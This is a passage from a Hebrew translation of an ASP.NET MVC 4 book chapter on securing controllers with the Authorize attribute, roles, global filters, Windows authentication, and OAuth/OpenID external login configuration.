   var album = GetAlbums().Single(a => a.AlbumId == id); 

   //Charge the user and ship the album!!! 

   return View(album); 

  } 

  // A simple music catalog 

  private static List<Album> GetAlbums() 

  { 

   var albums = new List<Album>{ 

    new Album { AlbumId = 1, Title = "The Fall of Math", Price = 8.99M}, 

    new Album { AlbumId = 2, Title = "The Blue Notebooks", Price = 8.99M}, 

    new Album { AlbumId = 3, Title = "Lost in Translation", Price = 9.99M }, 

    new Album { AlbumId = 4, Title = "Permutation", Price = 10.99M }, 

   }; 

   return albums; 

  } 

 } 

} 

הבקר הנוכחי מאפשר למשתמש לקנות אלבום בצורה . כמובן שבזאת לא הסתיימה המלאכה
ניתן לפתור את . אך כמובן שעלינו לדעת מי הוא המשתמש שקונה את האלבום, אנונימית

 :באופן הבא, Buy לפעולה Authorizeבעיה זו על ידי הוספת מאפיין סימון 
[Authorize] 

public ActionResult Buy(int id) 

{ 

 var album = GetAlbums().Single(a => a.AlbumId == id); 

 //Charge the user and ship the album!!! 

 return View(album); 

} 

 כדי להתקין את חבילת NuGetהשתמשו במנהל החבילות , כדי לראות את הקוד הזה בפעולה
עשו . ASP.NET MVCמחדל של  בפרויקט ברירת Wrox.ProMvc4.Security.Authorizeהתוכנה 

 : זאת באמצעות הפקודה הבאה
Install-Package Wrox.ProMvc4.Security.Authorize 

, 7-1כמוצג בתרשים , כעת תוצג רשימת אלבומים. Store/הריצו את היישום ונווטו לכתובת 
 . למרות שבשלב זה לא נכנסתם לחשבון וגם לא נרשמתם
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 7-1תרשים 

 ).7-2תרשים (תופנו אל דף הכניסה לחשבון , Buyשור כאשר תלחצו על הקי

 

 7-2תרשים 

כדי לעבור אל הדף , Registerעליכם ללחוץ על קישור הרישום , מכיוון שאין לכם עדיין חשבון
 ). 7-3תרשים (ליצירת חשבון סטנדרטי 



 157   הרשאה ואבטחה,  רישום משתמשים:7פרק 

 
 7-3תרשים 

הליך תצליחו לעבור את ת,  לאחר ביצוע ההרשמה לאתרBuyכאשר תלחצו על הלחצן 
כמובן שביישום אמיתי  (7-4כמוצג בתרשים , ההרשאה ויוצג בפניכם דף לאישור הרכישה

 MVCכפי שמודגם ביישום , כדי להשלים את תהליך התשלוםתידרשו להזין נתונים נוספים 

Music Store.( 

 
 7-4תרשים 
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 שינוי בתפיסת האבטחה

אם , לדוגמה. URLבהרשאת  הוא שימוש Web Formsאמצעי שכיח לאבטחת יישום באמצעות 
יש לכם אזור מינהלי באתר שלכם וברצונכם להגבילו למשתמשים בתפקידי ניהול מתאימים 

)Admin( , תוכלו לרכז את כל דפי הניהול שלכם בתיקייהadmin ולחסום את הגישה לתיקיית 
 ASP.NET Webבאמצעות . Adminלמעט בעלי תפקיד , המשנה הזו עבור כל המשתמשים

Forms ניתן לאבטח תיקייה באתר על ידי נעילתה בקובץ web.configבאופן הבא  : 

<location path="Admin" allowOverride="false"> 

<system.web> 

 <authorization> 

  <allow roles="Administrator" /> 

  <deny users="?" /> 

 </authorization> 

</system.web> 

</location> 

 :  ניתן ליישם את הגישה הזו משתי סיבות לאMVCביישומי 

 ינה ממופות יותר לתיקיות פיזיותבקשות לא תהי 

 מספר אפשרויות ניתוב לאותו בקרעשויות להיות  

 לצורך כימוס הרכיבים המינהליים של Adminניתן באופן תיאורטי להשתמש בבקר , MVCעם 
 כדי לחסום את .ת הפרויקט ברמweb.configבקובץ  URLהיישום ולאחר מכן להגדיר הרשאת 

יכול להיות . אולם שיטה זו אינה מאובטחת לגמרי, Admin/בקשה שמתחילה עם הגישה לכל 
 . Adminאל הבקר , נתיב נוסף שמוביל באופן בלתי מכוון

 }action{לבין  }controller{בין נניח שבעתיד תחליטו שברצונכם לשנות את הסדר , לדוגמה
,  יוביל לדף הניהול העיקריIndex/Admin/הנתיב , לאחר השינוי. כםבניתובי ברירת המחדל של

 .  שיצרתם לא יחסום אותו עודURLאך מנגנון הרשאת 

גישה נכונה יותר לנושא האבטחה היא להציב את בדיקות האבטחה קרוב ככל הניתן לרכיב 
סנית ה יותר במעלה המח ליישם בדיקות נוספות במיקום גבואתם יכולים. שרוצים לאבטח

לא , בדרך זו. נרצה תמיד לאבטח את המשאב עצמו, אולם בסופו של דבר, )ברמת החשיבות(
. הוא תמיד יהיה חייב לעבור את בדיקת האבטחה, חשוב באיזו דרך יגיע המשתמש אל המשאב

 עלינו - אל אבטחת הבקר URLלא נכון להסתמך רק על ניתוב והרשאה של , בדוגמה שהצגנו
 . Authorizeובדיוק לשם כך משמש מאפיין הסימון , מולאבטח את הבקר עצ

 המשתמש רק צריך לעבור , אם איננו מציינים באופן מפורש תפקידים או משתמשים
 action(כדי שיוכל לקרוא לשיטת הפעולה ) להיות מחובר לחשבון כלשהו(נוהל אימות 

method .(פעולות זוהי דרך נוחה לחסום את הגישה של משתמשים לא מאומתים אל 
 . בקר מסוימות

  כאשר משתמש שמנסה לגשת אל שיטת פעולה שמסומנת באמצעות מאפיין נכשל
 ". HTTP" :401 Unauthorizedהמסנן גורם לשרת להחזיר קוד מצב , בבדיקת ההרשאה



 159   הרשאה ואבטחה,  רישום משתמשים:7פרק 

  אם אימות טפסים מופעל וכתובתURL לביצוע כניסה לחשבון )login ( מוגדרת בקובץ
web.config , תשתיתASP.NET תטפל בקוד התגובה על ידי ניתוב המשתמש לדף 

 .ASP.NET MVC ולא מאפיין חדש של ASP.NETזוהי התנהגות ידועה של . ההרשמה

  Authorizeאופן הפעולה של המאפיין 
 Accountעם אימות טפסים והבקר 

) בקרים ותצוגות(כמובן שלא כללנו בדוגמה זו את הקוד ? מה קורה מתחת לפני השטח
 Internetתבנית ? אז מאיפה כל זה הגיע, עבור כניסה לחשבון והרשמה URLבבקשות שמטפל 

Application של ASP.NET MVC כוללת בקר בשם Account , שתומך בחשבונות שמנוהלים
 .OAuth ואימות ASP.NET Membershipבאמצעות 

עליה מְחילים ולפיכך ניתן להריץ אותו לפני פעולת הבקר ש,  הוא מסנןAuthorizeהמאפיין 
 הסטנדרטית OnAuthorization מתבצע בשיטה Authorizeעיקר העבודה של המאפיין . אותו

תוכלו לראות , MVCאם תעיינו בקוד המקור של . IAuthorizationFilterשמוגדרת בממשק 
שבדיקת האבטחה שעליה מבוסס התהליך בוחנת את נתוני האימות שמאוחסנים באובייקט 

 : ASP.NET של )context(ר שֵקְההֶ
IPrincipal user = httpContext.User; 

if (!user.Identity.IsAuthenticated) 

{ 

 return false; 

} 

מוחזרת תוצאת הפעולה ,  המשתמש אינו מצליח בתהליך האימותאם
HttpUnauthorizedResult , אשר מפיקה קוד מצבHTTP 401)  שמשמעותהUnauthorized .( קוד

אשר בתורה מפנה , FormsAuthenticationModule של OnLeaveעל ידי השיטה  זה נתפס 401
  : של היישוםweb.configכמוגדר להלן בקובץ , את המשתמש לדף הכניסה לחשבון

<authentication mode="Forms"> 

 <forms loginUrl="~/Account/LogOn" timeout="2880" /> 

</authentication> 

 הפעולה , לאחר השלמת הכניסה לחשבון,לכןו ניית המשךהפכוללת  URLכתובת ה
Account/LogOnמפנה את המשתמש חזרה לדף המקורי המבוקש  . 

 כסיכון אבטחה, הפניית המשך פתוחה

 הפניית המשך"מספק הזדמנות להתקפות תהליך הפניית המשתמש לדף הכניסה לחשבון 
 יכולים להחליף את הכתובת שאליה  לסוגיהםוהאקריםתוקפים ). open redirection ("פתוחה

בכתובת אחרת וכך להפנות את המשתמשים , יופנה המשתמש לאחר הכניסה לחשבונו
 .נדון באיום זה בהמשך. לאתרים מזיקים
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 של Internet Application בתבנית ים כלול-  לו והתצוגות הנלוות- Accountבקר השהעובדה 
ASP.NET MVCהטמעת מנגוני , בתרחישים פשוטים. פתח מקלה מאוד על העבודה של המ

 . הרשאה יכולה להתבצע ללא כתיבת קוד או ללא קביעת תצורה

 : התשתית גם מאפשרת לנו לשנות כל אחד מהרכיבים, מידת חשיבות לא פחותהבו, במקביל

  הבקרAccount) הוא למעשה בקר ) והמודלים והתצוגות הנלווים אליוASP.NET MVC 
 . ע בו שינויים בקלות יחסיתשניתן לבצ, סטנדרטי

 ת הסטנדרטי של רוּבֵ ספק החָ שלמנגנוןהקריאות לשיטות ההרשאה פועלות מול ה
ASP.NET , כמוגדר תחת>authorization< בקובץ web.config ניתן לפנות . של היישום

 . או לכתוב שירות ספק באופי עצמי, אל ספק אחר

 Authorize מיישם את  הינו מאפיין הרשאה סטנדרטי אשרIAuthorizeFilter . גם כאן ניתן
 . ליצור מסנני הרשאה באופן עצמי

 Intranet Application בתבנית Windowsאימות 

)  ואילךASP.NET MVC 3 Tools Update הגרסהזמינה החל מאשר  (Intranet Applicationתבנית 
 Forms(ת טפסים אימובמקום : למעט הבדל אחד, Internet Applicationדומה מאוד לתבנית 

Authentication ( התבנית משתמשת באימותWindows) Windows Authentication.( 

 מנוהלים מחוץ Windowsמכיוון שתהליכי ההרשמה והכניסה לחשבון באמצעות אימות 
 או Account אינה זקוקה לבקר Intranet Applicationתבנית , לתחומי יישום האינטרָאנט

התבנית מוסיפה את , Windowsלצורך הגדרת אימות . ת שנלווים אליולמודלים ולתצוגו
 : של היישוםweb.configהשורה הבאה לקובץ 

<authentication mode="Windows" /> 

) כמובן, באנגלית( שמכיל את ההוראות שלהלן readme.txtתבנית כוללת גם קובץ ה
כדי להשתמש בתבנית . IIS Express או IIS בשרתי Windowsשמסבירות כיצד להגדיר אימות 

Intranet Application צריך להפעיל את אפשרות אימות Windows , ולבטל את אפשרות
 ).Anonymous(האימות האנונימי 

IIS 7ו - IIS 8 

 .  ונווטו אל האתר שלכםIIS Managerפתְִחו את  .1

 . Authenticationלחצו לחיצה כפולה על , Featuresבתצוגה  .2

 Windowsאם האפשרות . Windows authenticationבחרו , Authentication בדף .3

authenticationעליכם לוודא שאימות ,  אינה זמינהWindowsאכן מותקן בשרת  . 

 : Windows בסביבת Windowsכדי לאפשר אימות 

 .)Programs and Features(פתִחו את תוכניות ותכונות , )Control Panel(בלוח הבקרה  .א

 ).Windows) Turn Windows features on or off תכונות בטל או בחרו הפעל .ב
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 Internet Information Services ( World Wide Web(בחרו שירותי מידע אינטרנט  .ג

Services  אבטחה )Security .( ודאו שהצומת אימותWindows) Windows 

authentication (מסומן . 

 :Windows בשרת Windowsכדי לאפשר אימות 

 . Add Role Servicesולחצו על , Web Server (IIS)בחרו , במנהל השרת .א

 .  מסומןWindows authenticationוודאו שהצומת , Web Server  Securityבחרו  .ב

 . Windows כדי להתחיל להשתמש באימות Enableלחצו , Actionsבחלונית  .4

 . Anonymous authenticationבחרו , Authenticationבדף  .5

 .  כדי לנטרל אימות אנונימיDisableלחצו על , Actionsבחלונית  .6

ISS Express 
 .  כדי לבחור בוSolution Explorerלחצו על הפרויקט שנראה בחלון  .1

 .  כדי לפתוח אותהF4הקישו ,  אינה פתוחהPropertiesאם חלונית  .2

 :יקט שלכם של הפרוPropertiesבחלונית  .3

 . Disabled בחרו Anonymous Authenticationבשדה  .א

 . Enabled בחרו Windows Authenticationבשדה  .ב

 אבטחת בקרים שלמים

 שמחילים עליו פעולות בקר Authorizeהתרחיש הקודם הינו דוגמה לבקר יחיד עם מאפיין 
תשלום של האתר דרושים לעגלת הקניות ול, עם הזמן ניווכח שלרכיבי הניווט. מסוימות

הוספת , תצוגת עגלה(פעולות מסוימות קשורות גם לעגלת קניות אנונימית . בקרים נפרדים
הוספת כתובת ופרטי (וגם לתשלום של לקוח מאומת ) פריט לעגלה והסרת פריט מהעגלה

 Music Storeביישום הוספת מנגנוני הרשאה לתהליך התשלום ). תשלום מלא, תשלום
משתמשים (לתשלום ) האנונימית(פל בצורה שקופה במעבר מעגלת הקניות מאפשרים לט

 לבקר AuthorizeAttributeהדבר נעשה על ידי הוספת מאפיין ). רשומים בלבד
CheckoutController ,באופן הבא : 

[Authorize] 

public class CheckoutController : Controller 

אך לא תאפשרנה ,  נגישות לכל משתמש רשום יהיוCheckoutכל הפעולות של הבקר , כעת
 .גישה אנונימית

 אבטחת היישום כולו באמצעות מסנן הרשאה גלובלי

קל יותר לדרוש , במקרה זה. הרשאת משתמשים נדרשת כמעט בכל היישום, באתרים רבים
ולציין באופן מפורש מקרים חריגים במקומות הבודדים שמתירים , הרשאה על פי ברירת מחדל
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במקרים .  כמו למשל דף הבית של האתר או דפי הרשמת משתמשים חדשים-אנונימית גישה 
 כמסנן גלובלי ולאפשר גישה אנונימית לבקרים Authorize  המאפייןמומלץ להגדיר אתכאלה 

 . AllowAnonymousבאמצעות המאפיין , מסוימים או לשיטות מסוימות

הוסיפו אותו לאוסף המסננים , בלי כמסנן גלוAuthorizeכדי לבצע הרשמה של המאפיין 
 : RegisterGlobalFiltersהגלובליים של 

public static void RegisterGlobalFilters(GlobalFilterCollection filters) { 

 filters.Add(new System.Web.Mvc.AuthorizeAttribute()); 

 filters.Add(new HandleErrorAttribute()); 

} 

הבעיה היא כמובן שהגישה .  יוחל על כל פעולות הבקר ביישוםAuthorizeין המאפי, בדרך זו
עד .  עצמו שעבורו דרושה גישה אנונימיתAccountכולל הבקר , מוגבלת לכל חלקי האתר

השימוש במסנן גלובלי לביצוע הרשאה גורפת באתר חִייֵב את המפתחים לבצע , MVC 4לגרסת 
הייתה אחת הטכניקות השכיחות . Accountנימית לבקר פעולות מיוחדות כדי לאפשר גישה אנו

וליישם לוגיקת תכנות מתאימה כדי לאפשר גישה בררנית , Authorize של ליצור מחלקת משנה
 אשר מאפשר להוסיף AllowAnonymous נוסף המאפיין MVC 4לגרסת . לפעולות הנדרשות

 .  כך נקבעאם, כדי לבטל את הצורך בהרשאה) או בקר שלם(אותו לכל שיטה 

 חדש שמבוסס על תבנית MVC 4דוגמה לשימוש במאפיין החדש תוכלו למצוא בכל יישום 
Internet Application . כל השיטות שעבורן דרושה גישה אנונימית במידה שמבוצעת הרשמה

. AllowAnonymous באמצעות המאפיין  גםמסומנות,  כמסנן גלובליAuthorizeשל מאפיין 
 : נראית כךLogin HTTP Getפעולת , לדוגמה

// 

// GET: /Account/Login 

[AllowAnonymous] 

public ActionResult Login() 

{ 

 return ContextDependentView(); 

} 

עדיין תתאפשר ,  כמסנן גלובליAuthorizeגם אם תבצעו את הרישום של המאפיין , בדרך זו
 .גישה של משתמשים לא מאומתים לפעולות ההרשמה

  בלבדMVCאה גלובלית משפיעה על רכיבי הרש

הם אינם . MVCחשוב לזכור שאת הפילטרים הגלובליים מחילים רק על פעולת בקר של 
 . אחרים) ASP.NET) ASP.NET handlersתכניים סטטיים ומטפלי , Web Formsמאבטחים טפסי 

 לאבטחם וניתן,  ומשאבים סטטיים ממופים לנתיבי קובץWeb Forms, כפי שציינו קודם
 מורכבת ASP.NETהאבטחה של מטפלי . web.config בקובץ authorizationאלמנט באמצעות 

 .  שוניםURLמטפל עשוי להיות ממופה למספר נתיבי , MVCבדומה לפעולת : יותר
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, לדוגמה. ProcessRequestאבטחת מטפלים מבוצעת בדרך כלל על ידי כתיבת קוד בשיטה 
,  ואם בדיקת האימות נכשלתUser.Identity.IsAuthenticatedבאפשרותכם לבצע בדיקה של 

 . אפשר לנתב לכיוון כלשהו את המשך הפעולות או להחזיר שגיאה

 Role Membership  לחיובAuthorizeשימוש במאפיין 
 כדי למנוע גישה אנונימית לבקר Authorizeבסעיפים הקודמים ראינו כיצד להשתמש במאפיין 

ניתן גם להגביל את הגישה עבור משתמשים או , כפי שכבר ראינו, זאתעם . או לפעולת בקר
דוגמה נפוצה לתרחיש שכזה היא התרת גישה לפעולות מינהלתיות . בעלי תפקידים מסוימים

ה המקוונת עשויה להגיע לממדים שאינם מוסיקחנות ה, בשלב מסוים. למנהלי האתר
זוהי . בסיס הנתונים בצורה יעילהמאפשרים עוד לערוך את פרטי האלבומים ישירות דרך 

 ). StoreManagerController(נקודת הזמן שבה צריך ליצור בקר מנהל חנות 

להוסיף או , ברור ומובן מאליו שלא ניתן לאפשר לכל משתמש רגיל עם חשבון באתר לערוך
לשם כך זקוקים לאמצעי שיאפשר . StoreManagerControllerלמחוק אלבומים באמצעות הבקר 

 Authorizeהמאפיין , למרבה המזל. התיר את הגישה לבעלי תפקידים או למשתמשים מסוימיםל
 :כמוצג להלן, מאפשר לציין תפקידים או משתמשים מסוימים

[Authorize(Roles="Administrator")] 

public class StoreManagerController : Controller 

). Administrator( למשתמשים בתפקיד מנהל  רקStoreManagerקוד זה מתיר את הגישה לבקר 
לא תתאפשר , Administratorלמשתמשים אנונימיים או למשתמשים רשומים שאינם בתפקיד 

 . StoreManagerגישה לאף אחת מהפעולות של הבקר 

כדי להעביר מספר תפקידים .  יכול לקבל יותר מתפקיד אחדRolesהפרמטר , כמשתמע משמו
 :  מופרדת בפסיקיםעליכם להשתמש ברשימה

[Authorize(Roles="Administrator,SuperAdmin")] 

public class TopSecretController:Controller 

 :אפשר גם לבסס את ההרשאה על רשימת משתמשים
[Authorize(Users="Jon,Phil,Scott,Brad")] 

public class TopSecretController:Controller 

 : שרויותוניתן לשלב בין שתי האפ
[Authorize(Roles="UsersNamedScott", Users="Jon,Phil,Brad")] 

public class TopSecretController:Controller 

  להשתמש בתפקידים ובמשתמשיםמתי ואיך

יש לכך מספר . מומלץ לנהל את ההרשאות לפי תפקידים ולא לפי משתמשים יחידים, ככלל
 :סיבות

 הרשאות מסוימות ) או לאבד(תמש מסוים עשוי לקבל ומש, משתמשים באים והולכים
 . עם הזמן
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 קל יותר למעקב ופיקוח מאשר ניהול הרשאות לפי תפקידים הרשאות לפי ניהול , ככלל
תוכלו בקלות למנות אותו למנהל , אם אתם מעסיקים מנהל משרד חדש. משתמשים

זה יהיה פשוט . דמבלי לבצע שינויים בקו) Administratorלהעניק לו תפקיד (מערכת 
מגוחך אם בכל פעם שתרצו להוסיף או להחליף מנהל מערכת תצטרכו לשנות את כל 

 .ולעדכן את השרת בגרסה חדשה של היישום,  ביישוםAuthorizeמאפייני 

 תפקידים מאפשר ליישם רשימות גישה שונות בסביבות פריסה שונות-ניהול מבוסס .
שתרצו להעניק למפתחים גישה של מנהלי ייתכן , ביישום שמשמש לתשלומי משכורות

 . אך לא להתיר זאת בסביבת הייצור, מערכת בסביבות הפיתוח והבדיקה

. בקבוצות תפקידים ממוקדותכדאי לשקול את השימוש , כאשר אתם יוצרים קבוצות תפקיד
 ניתנים לניהול בצורה CanEditAlbums או CanAdjustCompensationתפקידים כגון , לדוגמה

שגוררת אחריה באופן בלתי נמנע , Administratorכגון , יקת יותר מאשר קבוצות כלליותמדו
 . SuperSuperAdminובאופן מחייב לא פחות את הקבוצה , SuperAdminאת הקבוצה 

 MVCיישום  ההורידו את, להדגמה מקיפה של האינטראקציה בין רמות אבטחת הגישה שהצגנו

Music Store שבכתובת http://mvcmusicstore.codeplex.com ובחנו את המעברים בין 
StoreController ,CheckoutControllerו - StoreManagerController . לביצוע אינטראקציה זו

פשוט יותר להוריד את קוד היישום , מסיבה זו. דרושים מספר בקרים ובסיס נתונים תומך
 . כה של הגדרות תצורה ולהשלים רשימה ארוNuGetמאשר להתקין חבילת , המלא

 Membership- וRolesהרחבת 
 ASP.NET הוא בכך שהתשתית בנויה על ליבת ASP.NET MVCאחד היתרונות הבולטים של 
 בנויים על בסיס ASP.NET MVCמנגנוני האימות והאישור של . איתנה עם מערך כלים מלא

. System.Web.Securityשוכנות במרחב השמות אשר  Membership ומחלקת Roleמחלקת 
 :למבנה זה מספר יתרונות

  אתם יכולים להשתמש בקוד קיים ובכישורים שמבוססים על עבודה עם מערכת
 .  ASP.NETהחָברֵוּת של 

  אתם יכולים להרחיב רכיביASP.NET MVC כמו ( שמאפשרים טיפול בסוגיות אבטחה
 API באמצעות ממשקי) AccountControllerלמשל אימות ובקר ברירת המחדל 

Membershipו -Roles של ASP.NET. 

  תפקיד ופרופיל משלכם, ליצירת ספקי חברות הספק מנגנוןאתם יכולים לנצל את ,
 . ASP.NET MVCשיכולים לפעול עם 

 ASP.NET MVC Authentication — Customizing"מידע נוסף בנושא תוכלו למצוא במאמר 

Authentication and Authorization The Right Way "שפורסם בבלוג בכתובת :
http://bit.ly/CustomizeMvcAuthentication . 
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  OAUTHכניסת משתמשים חיצונית באמצעות 
 OPENID-ו

הטיפול בתהליך ההרשאה ברוב יישומי האינטרנט התבסס על בסיס הנתונים של , בעבר
ינה דוגמה  הASP.NET Membershipמערכת . באופן מקומי ונוהלאשר , חשבונות המשתמשים

משתמשים חדשים שמעוניינים להירשם לאתר על ידי יצירת חשבון חדש : שרבים מכירים
היישום מוסיף את פרטי המשתמש לבסיס נתוני . סיסמה ומידע רשות נוסף, צריכים לספק שם

 . החָברֵוּת המקומי אשר משמש לאימות ניסיונות כניסה לחשבון

, בצורה מוצלחת במספר רב של יישומי אינטרנטהגישה המקומית המסורתית עודנה מיושמת 
 :אולם יש לה מספר חסרונות משמעותיים

  מגבלה שמות משתמשים וסיסמאות סודיות מהווה שמכיל תפעול בסיס נתונים מקומי
ידיעות על כשלי אבטחה חמורים שהובילו לחשיפת פרטי .  מבחינת אבטחהמשמעותית

) סיסמאות לא מוצפנות, ים קרובותלעת, כולל(החשבון של מאות אלפי משתמשים 
מכיוון שמשתמשים רבים משתמשים באותה , גרוע מכך. הפכו כיום לעניין שבשגרה

חשיפת פרטי החשבון עלולה להשפיע על האבטחה של , סיסמה במספר רב של אתרים
 . המשתמשים באתרי הבנקאות המקוונת שלהם ובאתרים רגישים אחרים

 לעמוד ,  למשתמשים נמאס למלא טפסים. ומייגעיצירת חשבון הינה תהליך ארוך
ולדאוג לאבטחת , לזכור סיסמאות שונות, בדרישות השונות של בחירת הסיסמה

אחוז לא מבוטל מהמשתמשים יחליט . הפרטים שמועברים על ידם לאתר זה או אחר
 . שהשימוש בשירותי האתר שלכם פשוט אינו שווה את הטרחה שכרוכה בהרשמה

באמצעותם תוכלו לאפשר .  הינם תקני הרשאה פתוחיםOpenID- וOAuthהפרוטוקולים 
למשתמשים להתחבר לאתר שלכם דרך החשבונות הקיימים שלהם באתרים אמינים חיצוניים 

 .  ואחריםGoogle ,Twitter ,Microsoft כגון )) providers (ספקיםהמכונים (

 הייתה סבוכה OpenID- וOAuthהגדרת האתר בצורה שתאפשר תמיכה בפרוטוקולי , בעבר
וספקים מובילים רבים מיישמים , מדובר בפרוטוקולים מורכבים: וקשה ביותר משתי סיבות

מכיוון ,  התהליך הזה הפך לפשוט יותרMVC 4עם תשתית . במקצת אותם בצורה שונה
. Internet Application כחלק מתבנית OpenID- ובOAuth-שהתשתית מספקת תמיכה מובנית ב

, תצוגות שמספקות שירותי הרשמה וניהול חשבון, מעודכן Account זו כוללת בקר תמיכה
 .  הפופולריתDotNetOpenAuthשמושתתות על ספריית ומחלקות עזר 

 Use a local account to", האחת: בדף הכניסה לחשבון החדש מופיעות כעת שתי אפשרויות

log in "-והשנייה,  להרשמה באמצעות חשבון מקומי ,"Use another service to log in "- 
האתר שלכם יכול . 7-5שתי האפשרויות מוצגות בתרשים . להרשמה באמצעות שירות חיצוני

 .  בכך עדיין יוכלו ליצור חשבון מקומישרוציםולכן משתמשים , לתמוך בשתי האפשרויות
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 7-5תרשים 

 הרשמה של ספקי חשבונות חיצוניים

, למרבה המזל. אתרים חיצוניים שיוכלו לשמש לכניסת משתמשיםעליכם לציין באופן מפורש 
. App_Start\AuthConfig.csמתבצעת בקובץ  םספקיהגדרת . במשימה פשוטה ביותרמדובר 

,  מסומנים כהערותAuthConfig.csכל ספקי האימות בקובץ , כאשר אתם יוצרים יישום חדש
 :כמוצג להלן

public static class AuthConfig 

{ 

 public static void RegisterAuth() 

 { 

  // To let users of this site log in using their accounts from 

  // other sites such as Microsoft, Facebook, and Twitter, 

  // you must update this site. For more information visit 

  // http://go.microsoft.com/fwlink/?LinkID=252166 

 

  //OAuthWebSecurity.RegisterMicrosoftClient( 

  //  clientId: "", 

  //  clientSecret: ""); 

 

  //OAuthWebSecurity.RegisterTwitterClient( 

  //  consumerKey: "", 

  //  consumerSecret: ""); 
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  //OAuthWebSecurity.RegisterFacebookClient( 

  //  appId: "", 

  //  appSecret: ""); 

 

  //OAuthWebSecurity.RegisterGoogleClient(); 

 } 

} 

מחייבים ) Microsoft- וFacebook ,Twitterכמו  (OAuthאתרים שמשתמשים בפרוטוקול 
וקוד סודי ) client id(תקבלו זיהוי לקוח , לאחר שתעשו זאת. הרשמה של האתר שלכם כיישום

)secret .(ישתמש בנתונים אלה כדי לאמת את עצמו מול ספק האתר שלכם OAuth . אתרים
ואינכם , אינם מחייבים את הרשמת היישום) Yahoo- וGoogleכגון  (OpenIDשמיישמים 

 . צריכים זיהוי לקוח וקוד סודי

 שמוצגות בקוד שלעיל הושקעו מאמצים רבים כדי OAuthWebSecurityבשיטות מחלקת העזר 
וגם את ההבדלים בין , OpenID לבין ספקי OAuthישום השונים בין ספקי לטשטש את הבדלי הי

הספקים , כמו כן. אך עדיין ניתן להבחין בהבדלים מסוימים, הספקים השונים לבין עצמם
 ,)client id (זיהוי משתמש למושגים ודברים דומים ואפילו זהים כמו שונהמינוח במשתמשים 

השיטות של , למזלנו. ועוד) app id( זיהוי יישום ,)consumer key(ומכנים אותו מפתח צרכן 
OAuthWebSecurity שמטפלות בספקים השונים כוללות שמות פרמטרים שתואמים לתנאים 

 . ולתיעוד של הספק המתאים

  OpenIDהגדרת ספקי 

מכיוון שאין צורך בהרשמה או ,  הינה תהליך פשוט למדיOpenIDהגדרת התצורה של ספקי 
 OpenID לשלושה ספקי OpenIDכעת נראה כיצד להוסיף תמיכת . טריםבהעברת פרמ

 . myOpenID- וGoogle ,Yahoo: מקובלים

ולכן כל שנותר , AuthConfig כלול כבר בקובץ Googleהקוד שמשמש להוספת תמיכה לספק 
עליכם להוסיף , Yahooכדי להוסיף תמיכה לספק . לעשות הוא למחוק את סימוני ההערה

 . ()OAuthWebSecurity.RegisterYahooClientטה קריאה לשי

, myOpenID אינה כוללת שיטת עזר לביצוע הרשמה ישירה של OAuthWebSecurityהמחלקה 
שימו  ( המלא שלהלןAuthConfig.csכמוצג בקוד , ולכן יש ליצור ולרשום לקוח מותאם אישית

 ). DotNetOpenAuth נוספים כדי לכלול את מרחב השמות usingלב לשימוש בביטויי 

using DotNetOpenAuth.AspNet.Clients; 

using DotNetOpenAuth.OpenId.RelyingParty; 

using Microsoft.Web.WebPages.OAuth; 

 

namespace MvcApplication23 

{ 

 public static class AuthConfig 



 ASP.NET MVC 4מדריך    168

 { 

  public static void RegisterAuth() 

  { 

   OAuthWebSecurity.RegisterGoogleClient(); 

   OAuthWebSecurity.RegisterYahooClient(); 

 

   var MyOpenIdClient = 

    new OpenIdClient("myopenid", WellKnownProviders.MyOpenId); 

   OAuthWebSecurity.RegisterClient(MyOpenIdClient, "myOpenID", null); 

  } 

 } 

} 

בכותרת הדף ש Log Inהריצו את היישום ולחצו על הקישור , לבדוק את הקודכדי . בזה סיימנו
ים ישלושה ספקי הרשמה יוצגו ברשימת האתרים החיצונ. )Account/Login/או נווטו לכתובת (
 ).7-6ראו תרשים (

 

 7-6תרשים 

 כמוצג בתרשים ,Googleותועברו לדף האישור של , Googleכעת לחצו על לחצן ההרשמה של 
) במקרה הזה כתובת דואר אלקטרוני(בחלון זה תישאלו אם אתם רוצים לספק מידע . 7-7

 . לאתר המבקש
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 7-7תרשים 

 ).7-8תרשים (תופנו שוב לאתר כדי להשלים את תהליך ההרשמה , Allowלאחר שתלחצו 

 

 7-8תרשים 

כמוצג בתרשים , אומתיםתופנו לדף הבית של האתר כמשתמשים מ, Registerלאחר שתלחצו 
7-9 . 

ראו (תוכלו ללחוץ על שם המשתמש בכותרת הדף כדי לעסוק בניהול החשבון שלכם , לסיום
דף זה מאפשר למשתמשים להוסיף סיסמה מקומית או לבצע שיוך אל ספקי ). 7-10תרשים 

 . חשבונות חיצוניים נוספים
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 7-9תרשים 

 

  7-10תרשים 
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 OAuthהגדרת ספקי 

 דומה מאוד לזה שמשמש להגדרת ספקי OAuthשמש להגדרת התצורה של ספקי הקוד שמ
OpenID ,תבנית פרויקט אינטרנט . אולם תהליך הרשמת האתר כיישום משתנה מספק לספק

מומלץ . NuGet של DotNetOpenAuth שמבוססת על חבילת OAuth כוללת תמיכת MVC 4של 
ל חומרים שונים או מאמרים בבלוגים ולא להסתמך ע, OAuthלהיעזר בתיעוד הרשמי של 

ניתן להגיע לדפי התיעוד על ידי לחיצה על הקישור שמוצג בדף הכניסה לחשבון . אינטרנטיים
או הזנה ישירה של הכתובת ") …See this article for detail"המשפט שמתחיל במילים (

http://go.microsoft.com/fwlink/?LinkId=252166 .לו למצוא הוראות במסמכי התיעוד תוכ
 .  הנתמכיםOAuthמפורטות להרשמת יישומים אצל כל אחד מספקי 

, )secret( וקוד סודי )client id(יונפקו לכם על ידי הספק זיהוי משתמש , לאחר השלמת התהליך
נניח שרשמתם , לדוגמה. AuthConfig.csותוכלו להציב אותם ישירות בשיטות המובנות בקובץ 

ואת הערך  App IDבתור " 123456789012"ערך שהו וקיבלתם את ה כלFacebookיישום 
"abcdefabcdefdecafbad " בתורApp Secret) שלא יפעלו, אלה הם כמובן ערכים לדוגמה .(

 על ידי ביצוע הקריאה הבאה בקובץ Facebookבאפשרותכם לאפשר אימות כעת 
AuthConfig.cs : 

public static class AuthConfig 

{ 

 public static void RegisterAuth() 

 { 

  OAuthWebSecurity.RegisterFacebookClient( 

   appId: "123456789012", 

   appSecret: "abcdefabcdefdecafbad"); 

 } 

} 

 ההשלכות של כניסת משתמשים חיצונית מבחינת אבטחה

אך חשוב ,  אמנם מפשט את קוד האבטחה של האתרOpenID- וOAuthהשימוש בפרוטוקולים 
לדעת שהשימוש בספקי חשבונות חיצוניים עלול לאפשר כניסה של ווקטורי תקיפה 

או שהתקשורת , במקרה שהאתר של הספק נפרץ. פוטנציאלים אחרים אל היישום שלכם
